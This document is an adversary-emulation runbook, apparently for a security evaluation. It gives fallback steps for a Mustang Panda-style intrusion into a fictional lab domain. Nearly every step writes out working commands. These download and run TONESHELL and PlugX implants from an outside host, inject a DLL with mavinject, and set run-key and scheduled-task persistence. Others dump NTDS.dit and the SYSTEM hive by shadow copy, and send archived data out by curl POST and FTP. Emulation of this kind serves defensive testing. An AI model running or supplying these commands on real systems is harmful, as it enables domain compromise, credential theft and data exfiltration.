#
Mustang Panda Scenario Alternative Steps
#
Using Alternative Steps
#
Voice Track
Alternative steps are designed to allow continued execution in the event of unexpected errors in the environment or scenario.
#
Step 1 - User Fails to Receive Phishing Email Or Download/Open Attachment
#
Voice Track
If the user fails to receive the phishing email or fails to download or open the
attachment, perform the following alternative steps to visit the malicious link
in a browser and download the RAR file 250325_Pentos_Board_Minutes.rar.
#
Procedures
Within your RDP session to the workstation
harrenhal (10.55.4.103), open FireFox and browse to the following URL to download the RAR file:http://pentos-analysis.org/250325_Pentos_Board_Minutes.rarReturn to the main scenario.
#
Reference Tables
#
Step 1 - RAR Fails to Download or Extract
#
Voice Track
If the user fails to download or extract the RAR file, perform the following alternative steps to manually download the RAR contents.
#
Procedures
Within your RDP session to the workstation
harrenhal (10.55.4.103), open a command prompt and run the following commands to download the RAR file contents:mkdir C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes curl -sS http://pentos-analysis.org/files/Essos%20Competitiveness%20Brief.lnk -o "C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\Essos Competitiveness Brief.lnk" curl -sS http://pentos-analysis.org/files/wsdapi.dll -o C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\wsdapi.dll curl -sS http://pentos-analysis.org/files/EssosUpdate.exe -o C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\EssosUpdate.exeReturn to the main scenario.
#
Reference Tables
#
Step 1 - LNK File Fails to Execute
#
Voice Track
If the malicious LNK file fails to execute EssosUpdate.exe, perform the
following alternative steps to manually execute it.
#
Procedures
Within your RDP session to the workstation
harrenhal (10.55.4.103), open file explorer and browse toC:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\. Right click onEssosUpdate.exeand run it as administrator. Switch the active window three or four times to pass the window check.☣️ Switch to Kali and confirm C2 registration
Return to the main scenario.
#
Reference Tables
#
Step 1 - TONESHELL Fails to Register Itself Via Regsvr32
#
Voice Track
If the TONESHELL DLL fails to register itself via regsvr32, perform the following alternative steps to manually register it.
#
Procedures
Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt and run the following command to register the TONESHELL DLL via regsvr32:C:\Windows\System32\regsvr32.exe /s "C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\wsdapi.dll"☣️ Return to the main scenario.
#
Reference Tables
#
Step 1 - TONESHELL Fails to Inject Into Waitfor Process
#
Voice Track
If the TONESHELL DLL fails to inject itself into a waitfor process using
mavinject, perform the following alternative steps to manually perform the
injection.
#
Procedures
Within your RDP session to the workstation
harrenhal (10.55.4.103), open Task Manager and check if awaitfor.exeprocess is currently running. If one is not running, open an elevated command prompt and run the following command to spawn a waitfor process:C:\Windows\System32\waitfor.exe Event183785251387Go back to the Task Manager window, open up the left menu and go to "Details", filter for
waitfor.exe, and copy thewaitforprocess ID for later use.Open another administrator command prompt and run the following command to use
mavinjectto inject the TONESHELL DLL into thewaitforprocess. Make sure to replaceWAITFOR_PIDwith thewaitforprocess ID that you copied from Task Manager earlier.C:\Windows\System32\mavinject.exe WAITFOR_PID /INJECTRUNNING "C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\wsdapi.dll"☣️ Return to the main scenario.
#
Reference Tables
#
Step 2 - No TONESHELL Implant Available To Run Discovery Commands
#
Voice Track
If there is no TONESHELL implant available to execute netstat and ipconfig, perform the following alternative step(s) to execute them via command prompt.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt and run the following command to execute netstat.netstat -anop tcpExpected Output
Active Connections Proto Local Address Foreign Address State...
☣️ Within the same command prompt, run the following ipconfig command
ipconfig /allExpected Output
Windows IP Configuration Host Name . . . . . . . . . . . . : harrenhal Primary Dns Suffix . . . . . . . : kingslanding.net Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : ec2.internal us-east-1.ec2-utilities.amazonaws.com kingslanding.net
☣️ Return to the main scenario.
#
Reference Tables
#
Step 2 - No TONESHELL Implant Available To Download SharpNBTScan or Download Fails Via TONESHELL
#
Voice Track
If there is no TONESHELL implant available to download SharpNBTScan or if the file download fails with TONESHELL, perform the following alternative step(s) to download SharpNBTScan via curl.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to download SharpNBTScan.curl http://pentos-analysis.org/files/SharpNBTScan.exe -o C:\Windows\Temp\mswin1.exeExpected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 13824 100 13824 0 0 411k 0 --:--:-- --:--:-- --:--:-- 450k
☣️ Return to the main scenario.
#
Reference Tables
#
Step 2 - No TONESHELL Implant Available to Execute SharpNBTScan
#
Voice Track
If no TONESHELL implant is available to execute SharpNBTScan, perform the following alternative step(s) to execute it via command line.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to execute SharpNBTScan. Ensure that the file serverconclave (10.55.3.105)and domain controllerredkeep (10.55.3.100)appear in the output.C:\Windows\Temp\mswin1.exe 10.55.3.0/24Expected Output
[*]Start udp client... [+] ip range 10.55.3.1 - 10.55.3.254 [*]Udp client will stop in 10s ... 10.55.3.100 KINGSLANDING\REDKEEP DC 10.55.3.105 KINGSLANDING\CONCLAVE [*]Stop udp client ...
☣️ Return to the main scenario.
#
Reference Tables
#
Step 2 - Fail to Download or Execute SharpNBTScan
#
Voice Track
There are currently no alternative steps in the event that downloading or executing SharpNBTScan fails.
#
Step 3 - No TONESHELL Implant Available To Download VS Code Tunnel Script or Download Fails Via TONESHELL
#
Voice Track
If there is no TONESHELL implant available to download the VS Code tunneling batch script, or if the file download fails with TONESHELL, perform the following alternative step(s) to download the script via curl
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to download the batch script.curl http://pentos-analysis.org/files/startcode.bat -o "C:\\users\\htargaryen\\AppData\\Local\\CodeHelper.bat"Expected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 797 100 797 0 0 13828 0 --:--:-- --:--:-- --:--:-- 760
☣️ Return to the main scenario.
#
Reference Tables
#
Step 3 - VS Code Tunnel Script Download Fails Via TONESHELL and Curl
#
Voice Track
If the script download fails via TONESHELL and via curl, perform the following alternative step(s) to execute the script contents via command prompt.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), initiate a new RDP session to the domain controllerredkeep (10.55.3.100)☣️ Within your RDP session to the domain controller
redkeep (10.55.3.100), open Notepad and copy-paste the commands from thestartcode.batscript from the Kali attacker machine. Save the file and change the directory to %LocalAppData%. Under "Save as type:", change to "All Files". Change the "File Name" toCodeHelper.batand press Save. ExecuteCodeHelper.bat.Expected Output
C:\Users\htargaryen\AppData\Local>ECHO off % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 495 100 2 100 493 47 11734 --:--:-- --:--:-- --:--:-- 13378
☣️ Return to the main scenario.
#
Reference Tables
#
Step 3 - No TONESHELL Implant Available to Execute VS Code Tunnel Script
#
Voice Track
If no TONESHELL implant is available to execute the tunneling script, perform the following alternative step(s) to execute it via command line.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to execute the tunneling script against the domain controller.psexec \\10.55.3.100 -accepteula -d -c "C:\\users\\htargaryen\\AppData\\Local\\CodeHelper.bat"Expected Output
PsExec v2.43 - Execute processes remotely Copyright (C) 2001-2023 Mark Russinovich Sysinternals - www.sysinternals.com CodeHelper.bat started on 10.55.3.100 with process ID 1980.
☣️ Return to the main scenario.
#
Reference Tables
#
Step 3 - VS Code Tunnel Fails
#
Voice Track
If the tunnel script fails or if the tunnel itself fails, perform the following alternative step(s) to laterally move to the domain controller via RDP.
#
Procedures
☣️ If no RDP session exists from the workstation to the domain controller, initiate a new RDP session to the domain controller
redkeep (10.55.3.100)from within your RDP session to the workstationharrenhal (10.55.4.103)☣️ Return to the main scenario.
#
Reference Tables
#
Step 4 - No Tunnel Available To Perform Credential Access
#
Voice Track
If no VS Code tunnel is available on the DC and an RDP session to the DC is being used instead, perform the following alternative steps to perform credential dumping over RDP and command line.
#
Procedures
☣️ Using the RDP session to the domain controller
redkeep (10.55.3.100), open an administrator CMD prompt, then run the following command to create a volume shadow copy of the domain controller'sC:\drivevssadmin create shadow /for=c: /autoretry=10Expected Output
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. Successfully created shadow copy for 'c:\' Shadow Copy ID: {77ce2c11-ccba-4a8a-99d2-f716cbde70ff} Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8 BD
☣️ Using the elevated command prompt on the domain controller
redkeep (10.55.3.100), copy the NTDS.dit file from the shadow copy back to the initial workstationharrenhal (10.55.4.103)copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit \\10.55.4.103\C$\windows\temp\ntds.ditExpected Output
1 file(s) copied
☣️ Using the elevated command prompt on the domain controller
redkeep (10.55.3.100), save the System hive to the workstationharrenhal (10.55.4.103)reg save hklm\system \\10.55.4.103\C$\windows\temp\system.hiveExpected Output
The operation completed successfully.
☣️ Return to the main scenario.
#
Reference Tables
#
Step 4 - No TONESHELL Implant Available For Exfiltration
#
Voice Track
If no TONESHELL implant is available to exfiltrate the registry hive and
NTDS.dit files, perform the following alternative steps to exfiltrate them
using curl.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to exfiltrate the registry hive and NTDS files using curlcurl -X POST -H "filename:system.hive" --data-binary "@C:\windows\temp\system.hive" http://pentos-analysis.org/uploads curl -X POST -H "filename:ntds.dit" --data-binary "@C:\windows\temp\ntds.dit" http://pentos-analysis.org/uploadsExpected Output
OK OK
☣️ Return to the Kali attacker machine and confirm successful file uploads.
☣️ Return to the main scenario.
#
Reference Tables
#
Step 5 - No TONESHELL Implant Available to Execute Persistence Commands
#
Voice Track
If no TONESHELL implant is available to execute the persistence commands, perform the following alternative step(s) to execute them via command line.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to create the registry run key.reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v AccessoryInputServices /t REG_SZ /d "C:\Users\htargaryen\Downloads\250325_Pentos_Board_Minutes\EssosUpdate.exe" /fExpected Output
The operation completed successfully.
☣️ Within the elevated command prompt, run the following command to create the scheduled task.
schtasks.exe /F /Create /TN AccessoryInputServices /sc minute /MO 1 /TR C:\Users\htargaryen\AppData\Local\CodeHelper.batExpected Output
SUCCESS: The scheduled task "AccessoryInputServices" has successfully been created.
☣️ Return to the main scenario.
#
Reference Tables
#
Step 5 - Scheduled Task Fails to Run
#
Voice Track
If the scheduled task fails to execute, perform the following alternative step(s) to execute the script manually via command line.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to execute the script.C:\Users\htargaryen\AppData\Local\CodeHelper.batExpected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 495 100 2 100 493 44 11076 --:--:-- --:--:-- --:--:-- 11785
☣️ Return to the main scenario.
#
Reference Tables
#
Step 5 - VS Code Tunnel Script Fails Or Is Not Available
#
Voice Track
If the script download fails via TONESHELL and via curl, or if the script execution fails, perform the following alternative step(s) to execute the script contents via command prompt.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and copy-paste the commands from thestartcode.batscript from the Kali attacker machine. Execute the commands in the command prompt.☣️ Return to the main scenario.
#
Reference Tables
#
Step 5 - VS Code Tunnel Fails
#
Voice Track
If the VS Code tunnel fails on the workstation, perform the following alternative step(s) to open an elevated PowerShell prompt.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrative PowerShell prompt.☣️ Return to the main scenario.
#
Reference Tables
#
Step 6 - No TONESHELL Implant Available to Download File List
#
Voice Track
If no TONESHELL implant is available to download the file list for WinRAR, perform the following alternative step(s) to download the file via curl.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to download the file list.curl http://pentos-analysis.org/files/files.txt -o C:\Windows\temp\files.txtExpected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 82 100 82 0 0 2503 0 --:--:-- --:--:-- --:--:-- 2733
☣️ Return to the main scenario.
#
Step 6 - File List Download Fails
#
Voice Track
If the file list download fails via TONESHELL and via curl, perform the following alternative step(s) to create the file locally via notepad.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open notepad and paste the following contents.*.pdf *.doc* *.xls* *.ppt* *.txt *.csv *\users\*.png *\users\*.jpg *\users\*.jpeg☣️ Save the file as
C:\Windows\Temp\files.txtand exit notepad.☣️ Return to the main scenario.
#
Step 6 - No Tunnel Available to Run WinRAR
#
Voice Track
If no VS Code tunnel is available to execute WinRAR, perform the following
alternative step(s) to execute rar.exe via PowerShell.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator PowerShell prompt if one does not already exist, and run the following command to create the archives.65..90 | %{ $drive = [char]$_; & "C:\Program Files\WinRAR\rar.exe" a -r -v250m -hpj5Tft5lLFFcQK -x*\appdata\ -x*\ProgramData\* -x*\Recovery\* -x'*\System Volume Information\*' -x'*\$RECYCLE.BIN\*' -x'*\Program Files\*' -x'*\Program Files (x86)\*' -x*\Windows\* -x*\Python312\* -x*\crash_dumps\* -x*\PerfLogs\* -n@"C:\Windows\Temp\files.txt" "C:\Windows\Temp\${drive}.rar" "\\10.55.3.105\${drive}`$\*"}Expected Output
RAR 7.11 x64 Copyright (c) 1993-2025 Alexander Roshal 20 Mar 2025 Trial version Type 'rar -?' for help Evaluation copy. Please register. Creating archive A.rar WARNING: No files ... Creating archive C.rar Adding C:\... OK Adding C:\... OK ...
☣️ Return to the main scenario.
#
Reference Tables
#
Step 6 - No TONESHELL Implant Available To Download Curl
#
Voice Track
If there is no TONESHELL implant available to download curl, perform the following alternative step(s) to download it via command prompt.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to download curl.curl http://pentos-analysis.org/files/curl.exe -o "C:\Program Files\Microsoft VS Code\prpbg.dat.bak.1"Expected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 587k 100 587k 0 0 16.9M 0 --:--:-- --:--:-- --:--:-- 18.5M
☣️ Return to the main scenario.
#
Reference Tables
#
Step 6 - Failed to Download Curl
#
Voice Track
If curl failed to download via TONESHELL or alternative step, perform the
following alternative step(s) to use the existing curl.exe binary to perform
exfil.
#
Procedures
☣️ Within your RDP session to the workstation
harrenhal (10.55.4.103), open an administrator command prompt if one does not already exist, and run the following command to exfil the RAR files via curl.$files = gci -path "c:\windows\temp" -Filter *.rar | select-object -expandproperty FullName foreach ($file in $files){ curl.exe -T $file ftp://ftp_user:Gracious-Coat@49.67.12.21/do/ --ftp-create-dirs }Expected Output
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5191k 0 0 100 5191k 0 7391k --:--:-- --:--:-- --:--:-- 7394k % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 84.3M 0 0 100 84.3M 0 47.8M 0:00:01 0:00:01 --:--:-- 47.7M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 84.3M 0 0 100 84.3M 0 58.3M 0:00:01 0:00:01 --:--:-- 58.3M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 84.3M 0 0 100 84.3M 0 61.5M 0:00:01 0:00:01 --:--:-- 61.5M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 84.3M 0 0 100 84.3M 0 55.7M 0:00:01 0:00:01 --:--:-- 55.7M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 84.3M 0 0 100 84.3M 0 58.6M 0:00:01 0:00:01 --:--:-- 58.6M
☣️ Return to the main scenario.
#
Reference Tables
#
Step 7 - User Fails to Receive Phishing Email
#
Voice Track
If the user fails to receive the phishing email in Outlook, perform the following alternative step to download the MSI installer.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open Edge and browse to the following URL to initiate the download of the MSI installer:http://mailstreamnet.com/files/invite_doc.html☣️ After opening the webpage in the browser, open the Downloads folder to confirm download of the MSI installer
2025p2.msi.☣️ Return to the main scenario.
#
Reference Tables
#
Step 7 - Download of MSI Fails
#
Voice Track
If the phishing link fails to download the MSI installer, perform the following alternative steps.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open Command Prompt and run the following commands to manually download the MSI installercurl http://pentos-analysis.org/files/2025p2.msi -o %userprofile%\Downloads\2025p2.msi☣️ Return to the main scenario.
#
Reference Tables
#
Step 7 - MSI Installation Fails
#
Voice Track
If the MSI installer fails to download/execute the Plug X components, perform the following alternative steps.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open Command Prompt and run the following commands.pshmkdir %LOCALAPPDATA%\EvRDRunMP curl http://pentos-analysis.org/files/gup.exe -o %LOCALAPPDATA%\EvRDRunMP\gup.exe curl http://pentos-analysis.org/files/gup.xml -o %LOCALAPPDATA%\EvRDRunMP\gup.xml curl http://pentos-analysis.org/files/libcurl.dll -o %LOCALAPPDATA%\EvRDRunMP\libcurl.dll curl http://pentos-analysis.org/files/WinGUpdate.dat -o %LOCALAPPDATA%\EvRDRunMP\WinGUpdate.dat .\%LOCALAPPDATA%\EvRDRunMP\gup.exe☣️ Confirm execution of Plug X shellcode and a new implant session in the C2 handler on the Kali machine.
☣️ Return to the main scenario.
#
Reference Tables
#
Step 8 - Plug X Fails to Archive Files
#
Voice Track
If Plug X fails to archive specific file types, perform the following alternative steps.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open PowerShell and run the following command to archive specific file typespsh& 'C:\Program Files\WinRAR\Rar.exe' a -r -m5 -ibck -ed -v325m -hpI1HcgjY7bWRA8 -inul -ta202504230000000 C:\Users\Public\Documents\b44d0xUT5BLOi.rar "C:\*.pdf" "C:\*.doc*" "C:\*.ppt*" "C:\*.xls*" "C:\users\*.png" "C:\users\*.jpg" "C:\users\*.jpeg"☣️ Return to the main scenario.
#
Reference Tables
#
Step 8 - Plug X Fails to Exfiltrate Archived Files
#
Voice Track
If exfiltrating the RAR files to the FTP server fails, perform the following alternative steps.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open Command Prompt and run the following command to exfiltrate the files to the Simple File Servercurl -X POST http://pentos-analysis.org/uploads -H "filename:b44d0xUT5BLOi.rar" --data-binary "C:\Users\Public\Documents\*.rar"☣️ Return to the main scenario.
#
Reference Tables
#
Step 9 - Downloading Cleanup Batch Script Fails
#
Voice Track
If the cleanup batch script fails to download via Plug X, perform the following alternative steps.
#
Procedures
☣️ Within your RDP session to the workstation
stepstones (10.55.4.104), open Command Prompt and run the following command to download and execute the cleanup batch scriptcurl http://pentos-analysis.org/files/del_WinGupSvc.bat -o %TEMP%\del_WinGupSvc.bat %TEMP%\del_WinGupSvc.bat☣️ Return to the main scenario.